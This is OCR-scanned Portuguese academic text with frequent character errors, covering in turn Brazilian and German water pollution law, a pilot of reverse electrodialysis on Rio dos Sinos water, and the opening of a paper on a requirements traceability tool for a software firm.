um direito fundamental como ja registrado, porém em seu artigo 225 dispde sobre o direito
fundamental ao meio ambiente equilibrado. A agua como direito fundamental aparece em ou-
tros diplomas legais. Um exemplo ¢ a Lei 9.433/1997, a chamada Lei Nacional das Aguas, que
reconhece a agua como um bem de dominio publico, finito, dotado de valor econdmico, cujo

uso deve ser prioritariamente para o consumo humano e dessedentagao de animais, estabe-

lecendo como dever de todos, sociedade e Poder Publico, formando parcerias, numa gestao
participativa e séria, a preservacao da agua e do ambiente. (BRASIL, 1997).
Apesar de nao trazer em seu texto a agua como um direito fundamental, a Constituicao

Federal de 1988 trouxe modificacdes ao texto do Codigo de Aguas, datado de 1934. A agua

deixou de ser de dominio privado passando a ser de dominio publico, devendo ser a gestao
viavel, sustentavel e justa, como coloca Rebougas (2011).

O principio do poluidor-pagador esta positivado na Constituicao Federal de 1988, quap-
do em seu artigo 225, § 3°, coloca que qualguer atitude e atividade que for considerada legiva
ao meio ambiente obrigara o transgressor, seja pessoa fisica ou juridica, a penalidade penal ou
administrativa, independente da obrigacao de restaurar o dano causado. O mesmo principio

esta também na Lei 6.938, de 31 de agosto de 1981, lei que instituiu a Politica Nacional do Meio



Ambiente, no seu artigo 4°, inciso VII, dispde que a todo aquele que poluir ou depredar sera
imposto a obrigacao de recuperar ou indenizar danos causados. Na mesma lei, artigo 14, § 1°
que o poluidor € obrigado, mesmo que nao exista culpa, a indenizar ou reparar 0s danos cau-
sados ao meio ambiente ou a terceiros que forem afetados pela atitude lesiva. (MILARE, 2006).
Milaré argumenta ainda que o pagamento nao torna licito o ato de poluir, de modo a
permitir o descarte de residuos no meio ambiente. O pagamento nao tem por objetivo tolerar a
poluigdo. Salienta ainda que “A cobranga so6 pode ser efetuada sobre o que tenha respaldo na
lei, sob pena de se admitir o direito de poluir. ” (MILARE, 2013, p. 268).
Machado (2013, p. 96) coloca que ha dois momentos para que o principio seja aplicado,
“o primeiro € o da fixacao das tarifas e/ou da exigéncia de investimento na prevengao do uso
do recurso natural, e outro momento € o da responsabilizacao residual ou integral do poluidor”.
A Lei 6.938, de 31 de agosto de 1981, Lei da Politica Nacional do Meio Ambiente, em
seu artigo 3°, define poluicao como toda degradacao ambiental que resulte de atividades que
de alguma forma, direta ou indiretamente, prejudiquem a salude, a seguranga e 0 bem-estar
populacional, bem como criem condi¢coes improprias para as atividades sociais e econdmicas,
afetem as condicdes sanitarias ou estéticas do meio ambiente ou lancem matérias ou energia
em desacordo com padrdes ambientais. O mesmo diploma legal conceitua poluidor como “a
pessoa fisica ou juridica, de direito publico ou privado, responsavel, direta ou indiretamen
por atividade causadora de degradacao ambiental” (BRASIL, 1981).
O Decreto 24.643, de 10 de julho de 1934, o Codigo de Aguas, projeta diretrizes/ que
concedem ao Poder Publico o controle e incentiva o aproveitamento industrial das ag

referido decreto faz mencao a posse das aguas, que de acordo com 0 mesmo, podem




blicas, comuns ou particulares, além das desapropriagdes para o caso de bem aproveitamento
da agua. O mesmo diploma ainda prescreve que nao € licito a nenhuma pessoa conspurcar ou

contaminar aguas. (BRASIL, 1934).

A Lei 9.433 em 08 de janeiro de 1997 institui a Politica Nacional dos Recursos Hidricos
(BRASIL, 1997). Esta Lei traz a ideia de que a agua € um bem de dominio publico, considerado
um recurso limitado e dotado de valor econdmico. Os usos multiplos devem ser possibilitados
pela gestao dos recursos hidricos, gestao esta que deve ser descentralizada e participativa.
Este diploma legal reza que quando lancados esgotos, sejam eles tratados ou nao, sera co-
brado e no valor devera ser levado em conta o volume de esgoto langado, bem como suas
caracteristicas, ou seja, 0 quao poluentes eles sao para a agua.

Para que possam ser lancados sem causar problemas para a agua, os efluentes devem

seguir padroes estabelecidos na Resolucao 430/2011, como: pH entre 5 e 9, temperatura infe-
rior a 40°C, presenca de no maximo 1ml/L de materiais sedimentaveis. A presenca de oleos, de
oxigénio e metais também é fixada nesta Resolucéo. A verificagdo da presenca das caracteris-

ticas necessarias para o langamento do efluente & dever do responsavel pela fonte poluidora,

ou seja, quem precisa lancar o efluente deve fazer a verificagdo necessaria para constatar se
o mesmo tem condigdes de ser langado no corpo receptor (BRASIL, 2011). Caso as disposi-
¢oes da Resolugao nao sejam cumpridas, o infrator ficara sujeito as sangoes previstas na
9.605/98, a Lei de Crimes Ambientais (BRASIL, 1998).

Na esfera penal, A Lei dos Crimes Ambientais (Lei n.9.605 de 12 de fevereiro de 1998)
“dispOe sobre as sancdes penais e administrativas derivadas de condutas e atividades lgsivas

ao meio ambiente”. Em seu artigo 2° determina que aquele que de alguma forma concorrer




para a pratica de crimes ambientais, serao responsabilizados pela sua pratica na medida de
sua responsabilidade, devendo incidir nas penas adequadas. Cada um, na medida em que
praticar ou contribuir com algum ato que polua a agua devera ser responsabilizado e penali-
zado. Além do agente também devem ser responsabilizados aqueles que sabiam da conduta
criminosa e nao tentarem impedir sua pratica.

Na Alemanha uma das leis relativas a agua é a Lei Federal de Gest&o das Aguas, de
1957 e revisada em 1986. Ela prevé uma estrutura basica para a gestao do recurso, sendo que
cada Estado esta encarregado de executar a gestéo da agua. Outra lei referente ao assunto
€ a Lei de Taxacao de Efluentes, datada de 1976, revisada em 1994. Esta define que uma vez
que a poluicao da agua for diminuindo, serao concedidos incentivos econdmicos e recursos
financeiros para que medidas de protecao aos recursos hidricos possam ser implementados. e
Quem deve de forma efetiva fiscalizar e colocar tais medidas em pratica séo os Estados, co-
nhecidos como Lander, que devem manter escritérios regionais e Departamentos de Aguas
das Secretarias de Meio Ambiente.

A Lei sobre o Regulamento do balango hidrico (Lei de Recursos Hidricos — WHG), de

2009, busca proteger as aguas através de uma gestao sustentavel, vendo a mesma como parte
do ecossistema, como um meio de subsisténcia das pessoas, habitat dos animais e plantas e
um recurso utilizavel.

Alem da Lei de Recursos Hidricos outras leis tutelam a agua. Exemplo disso € o R
lamento de Esgotos. Este regulamento estabelece padroes minimos para a descarga de aguas
residuais. A lei determina a obrigacao de pagamento de uma taxa quando ocorre a desgcarga

de residuos, como aguas residuais ou pluviais. O valor da taxa depende da nocividade da
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agua, ou seja, o0 quanto ela esta poluida. Outra lei diz respeito a detergentes e produtos de
limpeza. A Alemanha com essa lei regulamentou a composi¢cao dos detergentes e produtos
de limpeza produzidos na Alemanha. Os produtos devem ser biodegradaveis e os fabricantes
devem divulgar o conteudo dos produtos utilizados.

No territério alemao sao desenvolvidos projetos no sentido de despertar a consciéncia
ambiental, a importancia de preservar os recursos. A educagao ambiental € o ponto forte do
trabalho de conscientizacao de importancia do meio ambiente na Alemanha. Existem projetos

para todas as idades, contemplando as criangas desde os trés anos de idade.

A populacao alema tem um maior respeito pelas leis, se elas existem devem ser cumpri-
das, ndo questionadas ou desrespeitadas. E, se por acaso acontecer algum deslize e ocorrer
0 despejo de residuos os corpos d’agua, ha a aplicacéo de multas de acordo com o material
poluente e sua quantidade, ou seja, 0 agente sera penalizado pecuniariamente. As multas apli-
cadas sao altas, talvez seja este mais um motivo para o cumprimento das leis.

Outro ponto que se desejava esclarecer na pesquisa era se a legislacao brasileira era

mais branda do que a alema. Atraves da pesquisa pode-se concluir que a legislacao brasileira

€ branda na penalizacao do poluidor. Talvez um dos motivos para esta realidade seja o fato
de que na legislacao brasileira existem varias leis esparsas além de artigos em diversas outras
normas que versam sobre o meio ambiente, dificultando muitas vezes o enquadramen

infrator na lei adequada. Outro motivo € o fato de que muitas vezes nao € possivel ide




quem cometeu a infracado, o que pode acontecer por falta de efetividade na investigacao do
fato e falta de fiscalizagdo pelos organismos responsaveis.

O problema néo ¢ a falta de legislacéo, pelo contrario, as determinacdes existem, no en-
tanto, nao sao cumpridas. Pode-se dizer que a legislacao brasileira sobre meio ambiente € boa
sim, 0 que falta € efetividade na cobranca e penalizagao em casos de desrespeito. Na Alemanha
a legislacao existente € muito menor, o que € maior e mais efetivo € a consciéncia e a penali-
zagao em caso de desrespeito. Entra-se ai na questao da conscientizagao e educacgao social.
As pessoas precisam tomar consciéncia que € preciso preservar a agua para que a mesma
mantenha condi¢des de ser consumida, além de continuar disponivel para as geracoes futuras.

Se comparadas a legislacao alema e a Resolucao n® 430/2011, pode-se perceber que

ambas tém a mesma disposicao, ou seja, tanto no Brasil quanto na Alemanha existe disposi-

tivo que ordena o tratamento para que o residuo volte ao meio ambiente. Existem padroes de
qualidade, caracteristicas dos efluentes que devem ser observados antes que 0s mesmos
sejam despejados no meio ambiente. A diferenca crucial esta na observancia destes padroes.

No Brasil, talvez por falta de uma fiscalizacédo mais rigorosa, vé-se inUmeras vezes o despejo

de residuos contaminando as aguas, tornando-as improprias para o uso e provocando a morte
de peixes.

Um dos caminhos € a educacao, mas nao s6 a educacao formal, ministrada nas insfi-
tuicdes de ensino, mas a educacéo dita caseira, através do exemplo. E preciso inserir ja has
criangas a ideia de economizar, cuidar, preservar, fazendo com que todos se deem confa de

que sua sobrevivéncia passa pelo cuidado com este recurso tao precioso que € a agua.
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A qualidade da dgua dos rios brasileiros diminui nas Ultimas décadas. O Rio dos Sinos é considerado
0 mais poluido do Estado do Rio Grande do Sul, entretanto vdrios municipios do Vale dos Sinos usam
3 dqua deste rio para abastecimento publico. Neste cendrio, a investigacao de tecnologias avancadas
de potabilidade de dgua deve ser realizada. O objetivo deste trabalho foi investigar tecnologias
avancadas de tratamento de dqua deste rio. Um sistema comercial de eletrodidlise reversa (EDR)
da Hidrodex, modelo EDR 0,25-100 foi instalado na estacao de tratamento de 4gua da companhia
municipal de Servicos de Agua e Esgoto de Novo-Hamburgo-COMUSA. O equipamento da EDR estd
instalado desde o dia 29 de janeiro 2015 na estacdo de tratamento, operando com uma de vazao
de produto de aproximadamente 200L.h-1, com um potencial inicial de 185V. Para a alimentacao do
equipamento, é empregada a 4qua filtrada da estacao. Os parametros monitorados foram conduti-
vidade e turbidez. Os resultados demonstram uma reducdo da condutividade da dqua filtrada de 90
pS.cm-1para 25 pS.cm-1. Para a turbidez a reducdo foi de 0,30 NTU para 0,15 NTU.

Palavras-chave: Tratamento de 3gua. Eletrodidlise. Rio dos Sinos

ABSTRACGT

A reverse electrodialysis pilot system (RED) of Hidrodex, model EDR 0.25-100 1E 1s1e was installed
at the water treatment plant, Water Serwces and Sewerage New-Hamburg-COMUSA. In this muni-
cipality, the collection of water for public supply is from the Rio dos Sinos, which is considered the
most polluted in the state of Rio Grande do Sul The Rio dos Sinos is also the final destination of
waste of our society: sewage cloacal and industrial effluent. In this sense, due to the low quality of
this river, the aim of this study is to investigate advanced technologies of this river water treatment.
The equipment of the RED is installed since the day January 29, 2015 in COMUSA treatment plant,
operating with a product flow rate of approximately 200L.h-1, with an initial potential of 185V. For
power equipment, is employed filtered water station. From the collected samples of conductivity and
turbidity tests were performed. After 6 months of experiment, was reached promising results. The
initial conductivity of filtered water on average 90 pS.cm-1 conductivity reached less than 25 pS.cm-1.
Its turbidity of 0.30 NTU passed, on average, to 0.15 NTU.

Keywords: Water treatment.Electrodialysis. The Sinos River.




INTRODUCAO A agua € o elemento fundamental da vida. Seus multiplos usos s&o indispensaveis a um
largo espectro das atividades humanas, onde se destacam, entre outros, o abastecimento pu-

blico e industrial, a irrigacao agricola, a producao de energia elétrica, bem como a preservacao

da vida aquatica. A crescente expansao demografica e industrial observada nas ultimas déca-
das trouxe como consequéncia o comprometimento das aguas dos rios, lagos e reservatorios.
A bacia hidrografica do Rio dos Sinos esta localizada na regiao nordeste do estado do Rio
Grande do Sul e tem como principais corpos d’agua os rios Rolante, Paranhana e dos Sinos.
A bacia ocupa uma area de 3.820 km2 e abastece 32 municipios da regiao, correspondendo
a 4,5% da bacia hidrografica do Guaiba (FEPAM, 2009). A populagéo € de aproximadamente
1.346.151 habitantes. Destes 95% vivem em areas urbanas. O rio dos Sinos, € oprincipal rio

da bacia, tendo suas nascentes no municipio de Caraa e foz no Rio Jacui, no municipio de

Canoas. (Plano Sinos, 2009). Este rio atende a adugdo de agua bruta e produgéo de agua
potavel para a maioria dos municipios do Vale do rio dos Sinos. O Rio dos Sinos € dividido em
trés regides, de acordo com a inclinagéo do terreno. O alto Sinos (25km de extens&o), o médio

Sinos (aproximadamente 125km) e baixo Sinos.A porcao superior do Rio dos Sinos apresenta

baixa densidade populacional e predominio de atividades rurais, com vegetagao ciliar e se
encontra melhor preservada que 0s outras regioes. Nas porcdes meédia e inferior ha um eleva-
do nivel de urbanizagao. Esta por¢ao recebe a drenagem dos principais arroios dos grandg's
centros urbanos da bacia. (FEPAM, 2009; Plano Sinos, 2009). O cenario atual mostra elevado
aglomerado populacional, predominantemente urbano, no entorno do trecho inferior do Ri

Sinos, com mais de 1 milhdo de habitantes. Entretanto, a situagao mais preocupante € gom o




indice populacional atendido por redes de coleta e tratamento de esgoto, no trecho inferior o
percentual varia de 0,04% a 24,1%. Estes indices refletem a precaria situagdo do saneamen-
to basico junto a regiao do Vale dos Sinos. A cidade de Novo Hamburgo, com seus mais de
238,9 mil habitantes, trata apenas 2,4% de todo o esgoto produzido. No municipio de Novo
Hamburgo, a captagdo da agua para abastecimento publico € realizada na porgao infeirior
da bacia hidrografica, na regiao metropolitana de Porto Alegre. Este trecho do Rio dos Sinos
apresenta caracteristicas de manancial classe 3 e 4, conforme estudo publicado pela FEPAM
(2009). Diante deste cenario, o processo convencional de tratamento de agua do Rio dos Si-
nos para abastecimento publico pode nao ser suficiente para proporcional a agua tratada as
carateristicas necessarias para abastecimento da populagao. As tecnologias de separacao
por membranas, como a Eletrodialise, surgem como alternativas promissoras para atender as
necessidades de uma agua para abastecimento.

A Eletrodialise € um processo de separacao eletroquimica, no qual os ions presentes
na agua sao transportados através de membranas ion-seletivas, que por acao de um campo
elétrico, migram de uma solugao para outra, originando duas novas solucoes: uma mais di-
luida e outra mais concentrada (STRATHMANN, 1995). Quando um potencial & aplicado nos

eletrodos, os cations séo atraidos para o eletrodo negativo e os anions para o eletrodo positivo

(MACHADO, 2004). Se a membrana iénica permitir a passagem de um tipo de ion, o outro seya
blogueado e assim havera a separagao i6nica (AMADO, 2013). O sistema de EDR permi
producao continua de agua desmineralizada sem adicionar produtos quimicos durante a jope-

racao normal. Uma célula de eletrodialise consiste de uma série de membranas seletivas do




Concentrado

Froduto desmineralizado

Concentrado

Figura 1 - Arranjo da célula de ED, denominado stack.
Fonte:MACHADO, 2004

2 OBJETIVO

abastecimento publico.

3 METODOLOGIA

equipamento da EDR esta instalado desde o dia 29 de janeiro 2015 na estagao de tratamento
COMUSA e os dados foram coletados até julho de 2015. Iniciou-se operando com uma

vazdo de produto de aproximadamente 200L.h", com um potencial inicial de 185V. Para a

tipo anidnicas e catidnicas, arranjadas alternadamente entre
um anodo e um catodo formando células individuais. A estru-
tura de centenas de compartimentos de membranas montados
em modulos, também é conhecida como stack (A Figura 1).
Os espagadores direcionam o fluxo e criam turbuléncia na cor-
rente. Isso auxilia a transferéncia de ions e reduz a deposicao

solidos da superficie da membrana. (MACHADO, 2004).

Este trabalho tem como objetivo avaliar a aplicagcao da EDR no tratamento da agua de

Os experimentos foram realizados com um desmineralizador EDR 0,25 -100 1E1s1e. O




tos. A polaridade dos eletrodos € invertida de 3 vezes a cada

hora. As amostras tiveram sua turbidez medida em um turbidi-
metroHannaHI98703 e sua condutividade medida em um apa-
relho Digimed DM-31.

O sistema piloto de EDR instalado na COMUSA esta

representado na Figura 2.

4 RESULTADOS E DISCUSSAOQ

Figura 2: Sistema piloto EDR 0,25-100 1E 1 sfe. O grafico 1 apresenta a condutividade da agua de ali-
Fonte: Préprio autor

mentacao e tratada por EDR. Observa-se que o valor da con-

160,00 dutividade na agua de alimentacao varia bastante, acredita-se

160,00
140,00
120,00
Condutividade 100,00

jie ) ﬁ: tou valor médio de 90 pS.cm™. Apos o tratamento por EDR a

::: M/‘M!\NM\A\"\/A«'\/\/ condutividades determinada foi de 25 p.cm”. Observa-se qu

a condutividade da agua tratada por EDR apresenta um peffil

que esta variagao esta associada a qualidade da agua do Rio

dos Sinos. A condutividade da agua de alimentagéo apresen-

jan fev abr abw mai jun jul

de tratamento que é independente da variacao da cond
——produto — alimentagio
dade na agua de alimentacao. A turbidez da agua filtrad
afico 1: Condutividade da agua de alimentagao e tratada por EDR.

Fonte: Préprio autor mentacao, foi de 0,30 NTU, em média, e apds o tratamento por

EDR foi de 0,15 NTU.



Tabela 1: Potencial (V) entre as membranas de EDR. A eficiéncia do tratamento de agua por EDR esta asso-

ontos Datas ciado as condicdes de operacdo. Sendo de suma importancia
de inspegédo . . _
13/fev/2015 19/jun/2015 0 monitoramento das membranas durante a operacao da EDR.
Ponto 7 5,83V 33,7V . .
Foram monitorados os potenciais das membranas, os resulta-
Ponto 6 2,29V 28,2V .
dos, da tabela 1, mostram que o potencial aumenta com o tem-
Ponto 5 1,52V 27,8V . ) .
po de operacao da EDR para todos os pontos inspecionados.
Ponto 4 0,87V 35,7V , ) . -
O aumento do potencial pode ser devido a incrustacao/depo-
Ponto 3 4,12V 20,3V o , ) o o
sicao de sais e moléculas residuais dos produtos quimicos
Ponto 2 4,76V 26,8V ) ~
empregados no tratamento de agua na estacao. A COMUSA
Ponto 1 7,21V 14,6V

— emprega tanino com agente de coagulacao.
Fonte: préprio autor

O efeito de deposicao fica evidente (figura 3) ao reali-

zar-se a desmontagem da pilha de membranas para realizar a
limpeza das membranas, no final do periodo. Entretanto apos a
limpeza mecanica a membrana retomou as carateristicas origi-
nais das membranas. Indicando que as interagdes membrana/

compostos nao sao permanentes.

Figura 3. Membranas aniénicas (verde) e cationicas (rosa).
Fonte: Préprio autor
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CONCLUSAO Frente aos resultados encontrados € possivel concluir que o processo de eletrodiali-
se apresenta uma boa eficiéncia na remocéao de componentes que conferem condutividade
a agua proveniente de tratamento por clarificacédo convencional. Mesmo com uma variacao

grande do parametro de turbidez na agua alimentacao do equipamento, foi mantida uma boa

reducao da condutividade e adicionalmente uma reducao da turbidez, desejavel na agua trata-
da. Considerando que durante o ano a agua bruta captada do Rio dos Sinos apresenta grandes
variagoes, a EDR mostrou resultados constantes e uma operacao estavel, mantendo-se as

condicoes estipuladas para operagao.
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Nos Gltimos anos, a rastreabilidade de requisitos vem se destacando como uma maneira eficiente de unir
3 evolucdo de sistemas com a necessidade de mudanca no produto de software. Neste sentido, modelos
de qualidade focados na maturidade do processo de software, tal como o CMMI (Capability Maturity Model
Integration), tratam a rastreabilidade de requisitos, como um pré-requisito para certificacao. A Secullum Sof-
twares, empresa que desenvolve sistemas para controle de ponto e acesso, estd em fase de implementacao
das melhorias propostas pelo modelo CMMI, por isso, precisa executar as atividades de rastreabilidade de
requisitos. Para isto, dispoe de uma ferramenta interna, a qual se demonstra ineficaz quanto d agilidade de
cadastramento de informacoes pertinentes a rastreabilidade. Sendo assim, este estudo propoe um modelo de
rastreabilidade de requisitos para a empresa e desenvolve uma ferramenta aplicando-o. Desta maneira, apds
utilizacao da ferramenta e aplicacdo de questiondrio com seus usudrios, se observa resultados favordveis em
relacao a nova ferraments, principalmente no que diz respeito ao tempo utilizado para cadastro e criacao de
elos. Entretanto, recomenda-se um tempo maior de utilizacdo da ferramenta para afirmar que a funcionali-
dade de andlise de impacto de mudancas se adequa ao modelo de desenvolvimento utilizado atualmente.
Palavras-chave: Rastreabilidade de requisitos. Gerenciamento de requisitos. Requisitos. Artefatos.

ABSTRACT

In recent years, the requirements traceability has emerged as an efficient way to unite the systems evolution
with the need for change in the software product. Therefore, quality models focused on software process
maturity, such as CMMI (Capability Maturity Model Integration) deal the requirements traceability as a prere-
quisite to certification. The Secullum Softwares, company which develops point and access control systems, it
is in the implementation phase of the improvements proposed by the CMMI model. So, it has to perform the
requirements traceability activities. This way, it has an internal tool, which proves to be ineffective in relation
of the agility of registration of relevant traceability information. Thus, this review proposes a model for the
requirements traceability to the company and develop a tool to apply it. This way, after using the tool and
3 questionnaire application, it can be possible to observe that the results were favorable in relation of new
tool, particularly about time taken to register and create links. However, it recommended a biggest use time
of proposed tool, to state that the impact analysis functionality suits the development model currently used.
Keywords: Requirement traceability. Requirement management. Requirements. Artifacts.




INTRODUCAO

Nos ultimos anos, segundo Esquivel e Spinola (2012), a rastreabilidade de requisitos
vem se destacando como uma maneira eficiente de unir a evolugéo de sistemas com a ne-
cessidade de mudanca no produto de software. As atividades de rastreabilidade de requisitos
estdo incorporadas a area de Gerenciamento de Requisitos, a qual “descreve as atividades
para obtencao e controle de mudancas dos requisitos e garante que outros planos de dados
relevantes se mantenham atualizados” (SEI, 2010, Tradugéo Livre).

Modelos de qualidade focados na maturidade do processo de software, tais como o
CMMI (Capability Maturity Model Integration) (SEI, 2010) e MPS.BR (Melhoria de Processos
de Softwares Brasileiros) (SOFTEX, 2014), tratam da rastreabilidade de requisitos/como um
pré-requisito para que a empresa seja atestada no modelo de melhoria utilizado. Neste estudo,
a empresa analisada adotou o CMMI como modelo de melhoria de processos.

A empresa utilizada como base para realizagao deste estudo € a Secullum Softwa-
res, sediada na cidade de Campo Bom, Rio Grande do Sul, seu foco é o desenvolvimento de
softwares para controle de ponto e acesso. A empresa esta em fase de implementacao das
melhorias de processos propostas pelo modelo CMMI-DEV, visando a obtencao da certificacao
no nivel 2 de maturidade, sendo assim, precisa realizar as atividades de rastreabilidade de
requisitos.

Por esse motivo, a empresa desenvolveu uma ferramenta interna denominada Gerep-
ciador de Requisitos, a qual busca proporcionar um ambiente para que a rastreabilidade/de
requisitos possa ser colocada em pratica. No entanto, esta ferramenta apresenta algumas difi-

culdades quanto a sua utilizacao, tais como:




»  Dificuldade para cadastramento de artefatos;
»  Requisitos pobremente especificados devido a limitacoes da ferramenta;
* Aumento do tempo para criagdo de vinculos entre requisitos e artefatos devido a

repeticao de tarefas;

«  Dificil analise dos requisitos para avaliacao de impacto de mudancas.

Com base nesta situacao, o presente trabalho propoe um modelo para gerenciamento
de rastreabilidade de requisitos, utilizando-o como base para o desenvolvimento de uma fer-
ramenta, a qual possibilita o0 cadastramento de informacdes de forma semiautomatica, através
da integracéo com a ferramenta para controle de versdo SVN. No contexto atual da empresa,
a proposta é que a ferramenta reduza o esforgo para cadastramento de artefatos e criagao de

elos, aléem de disponibilizar meios que possibilitem a rapida visualizagao destes elos, apresen-

tando especificacoes dos requisitos e de suas mudangas no decorrer do desenvolvimento dos
produtos de trabalho.
Desta maneira, este estudo possui esta e mais cinco se¢oes seguidas da conclusao. Na

segunda sessao sao apresentados alguns referenciais tedricos em relacao ao tema engenharia

de software e, mais especificamente, rastreabilidade de requisitos. Posteriormente, € apresen-
tada a ferramenta para rastreabilidade de requisitos utilizada atualmente na empresa, seguida
de um comparativo desta com outras ferramentas com suporte a rastreabilidade, fundamentais
para a elaboracao de um modelo para rastreabilidade de requisitos. Este modelo, serve/de
base para o desenvolvimento da ferramenta Requisitos.Net, apresentada na quinta secaq. Por
fim, na sexta secao, é apresentada a avaliacao feita pelos usuarios da ferramenta, seguida das

consideracoes finais deste estudo.




EMBASAMENTO DO
EMA

Nesta sessao, sao apresentados os elementos teoricos sobre Rastreabilidade de Re-
quisitos pertinentes para o cenario de estudo identificado na equipe de desenvolvimento de
software da empresa Secullum Softwares. Também sao abordadas questdes referentes ao ge-
renciamento de requisitos, mais especificamente, as atividades pertinentes a rastreabilidade
de requisitos. Neste sentido, sao discutidas as técnicas existentes, representacoes de rela-
cionamentos entre requisitos e artefatos, tipos de elos de rastreabilidade, além dos principais
modelos para rastreabilidade encontrados, descriminando o contexto para o qual foram desen-
volvidos. Desta forma, pretende-se, sucintamente, contextualizar o conhecimento que envolve

a rastreabilidade de requisitos e, apresenta-la como foco principal deste estudo.

2.1 ENGENHARIA DE SOFTWARE

Segundo Gengivir (2009), a demanda por qualidade aliada a necessidade de diminui-
cao de custos e o surgimento de novas tecnologias forcam a melhoria do processo e que, ao
longo do tempo, vem-se buscando técnicas para aperfeicoar seus modelos de producéo. No
contexto de desenvolvimento de software, a area responsavel pela pesquisa em técnicas de
melhoria de processos é a Engenharia de Software.

Existem varios modelos de desenvolvimento de software, dentre eles, estao os modelos
cascata, de prototipacao, evolucionario, espiral e incremental. Neste estudo € utilizado confo
base o modelo incremental de desenvolvimento de software através do Scrum, uma metodplo-
gia agil para gestao de projetos, visto que estas sao as metodologias utilizadas pela empresa

Secullum Softwares.




2.2 RASTREABILIDADE

Segundo Gengivir (2009), a area da Engenharia de Software que trata dos requisitos de
software € denominada Engenharia de Requisitos, a qual se caracteriza como “o processo de
descoberta dos requisitos, de identificacao dos envolvidos e suas necessidades e de docu-
mentacao, de forma que seja util para a andlise, comunicacao e implementagéo” (NUSEIBEH,
2000 apud GENGIVIR, 2009, p. 27). A Engenharia de Requisitos € composta, segundo Gengivir
(2009), das areas de elicitagéo, andlise, documentacdo e gerenciamento, sendo o gerencia-
mento, a atividade que objetiva controlar os relacionamentos e evolugdes dos requisitos ao
projeto do sistema.

Desta forma, o papel da area de gerenciamento de requisitos €, “descrever as ativida-
des para a obtencao e o controle de mudancas dos requisitos garantindo que outros planos
de dados relevantes se mantenham atualizados” (SEI, 2010, Traducao Livre). Segundo o SEIl
(2010), o gerenciamento de requisitos € uma sequéncia dinamica e por vezes recursiva de
eventos, fundamentais para que o processo seja controlado e disciplinado. Estas atividades
sao desenvolvidas através da Rastreabilidade de Requisitos.

De acordo com Davis (1993 apud GENGIVIR, 2009), “A capacidade de rastrear um
requisito até seus refinamentos € definida como rastrear para frente (Forwards), e a de rastrea
um refinamento até sua origem, é definida como rastrear para tras (Backwards)”. Além disso,
Gengivir (2009) também define estas caracteristicas como basicas para a execucao da fas-
treabilidade, ou seja, que o processo de rastreabilidade € falho caso nao executar uma dgstas

caracteristicas.
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Figura 2.1 — Rastreabilidade Vertical e Horizontal
Fonte: Gengivir (2009)

Tipo de Rastreabilidade Origem Destino

Origens (requisitos de
clientes, documentos, Requisitos
especificagoes, etc.)

Frente-Para (Forward-To)

Frente-De (Forward-From) Requisitos L
modelos, codigo, etc.)
Artefatos do projeto (planos,

gs-para (Backward-To) modelos, codigo, etc.)

Requisitos

Origens (requisitos de
clientes, documentos,
especificagoes, etc.)

(Backward-From) Requisitos

Artefatos do projeto (planos,

Tabela 1 — Tipos de Rastreabilidade
Fonte: O Autor

A rastreabilidade de requisitos pode ser dividida, se-
gundo Gengivir (2009), em duas classificagdes basicas: a pri-
meira é a rastreabilidade horizontal e vertical, ja a segunda é a
pré-rastreabilidade e pos-rastreabilidade. No caso da primeira
classificacao, enquanto que a rastreabilidade horizontal ras-
treia as versoes e variagdes de artefatos e requisitos em uma
fase do ciclo de vida do projeto, a rastreabilidade vertical ras-
treia artefatos e requisitos produzidos e modificados durante
todo o ciclo de vida do projeto, ou seja, ndo apenas em uma
fase do ciclo. Na Figura 2.1, Gengivir (2009) exemplifica a dife-

renciacao entre rastreabilidade horizontal e vertical.

Kotonya e Sommerville (1998 apud FALBO, 2012) enfa-
tizam a direcao da rastreabilidade, a qual pode ser para frente
ou para traz, além de apontar a rastreabilidade entre requisitos

e artefatos decorrentes do processo de desenvolvimento, “re-

forgando a natureza bidirecional da rastreabilidade” (GENGI-
VIR, 2009). A Tabela 1 apresenta as diferengas basicas entre
cada um dos tipos de rastreabilidade.

Ja a segunda caracteristica trata da pré-rastreabil|
de, que segundo Gengivir (2009), ocorre no ciclo de vidg dos
requisitos antes destes serem incluidos na especificacéo de

requisitos, e da poés-rastreabilidade, a qual esta concentrada



no ciclo de vida dos requisitos a partir da sua inclusdo na especificacao de requisitos. Desta
maneira, conforme ilustrado na Figura 2, “a pre-rastreabilidade documenta o contexto a partir
do qual emergem os requisitos; enquanto que a pos-rastreabilidade vincula os requisitos ao

desenho do sistema e sua implementacao” (DAVIS,1993 apud SAYAQO, LEITE, 2005).

pre- pOs-
rastreabilidade rastreabilidade
plano de M documento artefatos de
negocios e de requisitos desenho e
Outros - implementacdo

Figura 2 — Pré-rastreabilidade e Pds-rastreabilidade
Fonte: Sayao e Leite (2005)

2.2.1 ELOS DE RASTREABILIDADE

Segundo Gengivir (2009, p. 44), “O principal recurso utilizado para manter e represen-

tar os relacionamentos da rastreabilidade € o elo (do inglés link)”. Neste sentido, os elos s&o

utilizados nas atividades de validacao, analise, evolucao e referéncia cruzada entre requisitos
e artefatos de desenvolvimento.

Varias categorias de elos podem ser determinadas usando como base atributos e pr
priedades ou a aplicacao destes elos no processo de desenvolvimento, por este motivo, varios
tipos de elos sao encontrados na literatura. Para fins de simplificacéo, neste caso, se ufiliza

apenas o conceito de elo, tornando implicitos os varios tipos de elos disponiveis.



FERRAMENTA
ERENCIADOR DE
REQUISITOS

Atualmente a Secullum Softwares utiliza uma ferramenta interna denominada Geren-
ciador de Requisitos para realizar atividades pertinentes a rastreabilidade entre requisitos e
artefatos. As principais funcionalidades disponiveis na ferramenta sao apresentadas abaixo,

descrevendo as dificuldades e caréncias identificadas em seu uso.

3.7 CADASTRAMENTO DE REQUISITOS

Na ferramenta Gerenciador de Requisitos, a funcao de cadastramento de requisitos
destaca-se pela pobreza de informagdes, visto que, o espacgo disponivel para a especificacao
do requisito resume-se a um campo texto que permite apenas uma linha de digitacdo. Alem
disso, nao é possivel adicionar informacgoes referentes a pré-rastreabilidade, tais como: anexos
de e-mails, documentos e desenhos de telas, por exemplo.

Alem disto, a ferramenta nao oferece suporte a rastreabilidade de mudangas nos requi-
sitos ao decorrer do projeto, conforme mencionado na subsecao 2.1 da sessao 2. Uma alterna-
tiva, neste caso, seria a ferramenta implementar um historico para armazenar as modificacoes

aplicadas aos requisitos, facilitando assim, analises de impacto de mudancas posteriores.

3.2 CADASTRAMENTO DE ELOS ENTRE REQUISITOS E ESTORIAS

A primeira parte da formacao de elos entre requisitos e artefatos de desenvolvimento
se da através da ligagao entre requisitos e estorias. Na ferramenta Gerenciador de Requisitos,
este elo nao permite definir o nivel de impacto aplicado a estoria pelo requisito, prejudicdndo,
